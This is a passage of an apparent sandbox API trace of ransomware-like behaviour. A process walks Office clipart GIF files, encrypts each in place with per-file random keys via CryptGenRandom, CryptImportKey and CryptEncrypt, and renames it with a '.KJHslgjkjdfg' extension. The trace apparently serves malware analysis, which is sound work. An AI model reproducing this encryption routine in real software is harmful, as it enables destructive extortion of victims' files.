hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.024] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.025] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.025] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.025] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2e2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2e2, lpOverlapped=0x0) returned 1 [0193.025] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f0) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.025] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2f0, lpOverlapped=0x0) returned 1 [0193.025] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.025] SetEndOfFile (hFile=0x114) returned 1 [0193.029] GetProcessHeap () returned 0x2a0000 [0193.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.029] GetProcessHeap () returned 0x2a0000 [0193.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.kjhslgjkjdfg")) returned 1 [0193.031] CloseHandle (hObject=0x114) returned 1 [0193.031] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1 [0193.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.033] GetProcessHeap () returned 0x2a0000 [0193.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.033] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.033] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0193.035] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.035] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.035] GetProcessHeap () returned 0x2a0000 [0193.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.035] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.035] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.035] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.036] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.036] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.036] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.036] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.036] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.036] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x387, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x387, lpOverlapped=0x0) returned 1 [0193.036] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x390, dwBufLen=0x390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x390) returned 1 [0193.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.036] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x390, lpOverlapped=0x0) returned 1 [0193.037] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.037] SetEndOfFile (hFile=0x114) returned 1 [0193.039] GetProcessHeap () returned 0x2a0000 [0193.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.040] GetProcessHeap () returned 0x2a0000 [0193.040] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.kjhslgjkjdfg")) returned 1 [0193.042] CloseHandle (hObject=0x114) returned 1 [0193.042] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1 [0193.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.044] GetProcessHeap () returned 0x2a0000 [0193.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.044] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0193.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.084] GetProcessHeap () returned 0x2a0000 [0193.085] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.085] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.085] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.085] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.086] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d7, lpOverlapped=0x0) returned 1 [0193.086] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e0) returned 1 [0193.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.086] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2e0, lpOverlapped=0x0) returned 1 [0193.086] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.086] SetEndOfFile (hFile=0x114) returned 1 [0193.089] GetProcessHeap () returned 0x2a0000 [0193.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.089] GetProcessHeap () returned 0x2a0000 [0193.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.kjhslgjkjdfg")) returned 1 [0193.091] CloseHandle (hObject=0x114) returned 1 [0193.091] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1 [0193.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.093] GetProcessHeap () returned 0x2a0000 [0193.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.093] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.093] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.093] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0193.099] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.099] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.099] GetProcessHeap () returned 0x2a0000 [0193.099] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.099] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.099] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.099] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.099] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.099] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.099] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.099] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.100] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b4, lpOverlapped=0x0) returned 1 [0193.100] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0193.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.100] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0193.100] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.100] SetEndOfFile (hFile=0x114) returned 1 [0193.103] GetProcessHeap () returned 0x2a0000 [0193.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.103] GetProcessHeap () returned 0x2a0000 [0193.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.kjhslgjkjdfg")) returned 1 [0193.105] CloseHandle (hObject=0x114) returned 1 [0193.105] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1 [0193.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.107] GetProcessHeap () returned 0x2a0000 [0193.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.107] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0193.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.118] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.118] GetProcessHeap () returned 0x2a0000 [0193.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.118] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.118] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.118] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.118] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.119] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.119] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.119] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.119] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.119] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x494, 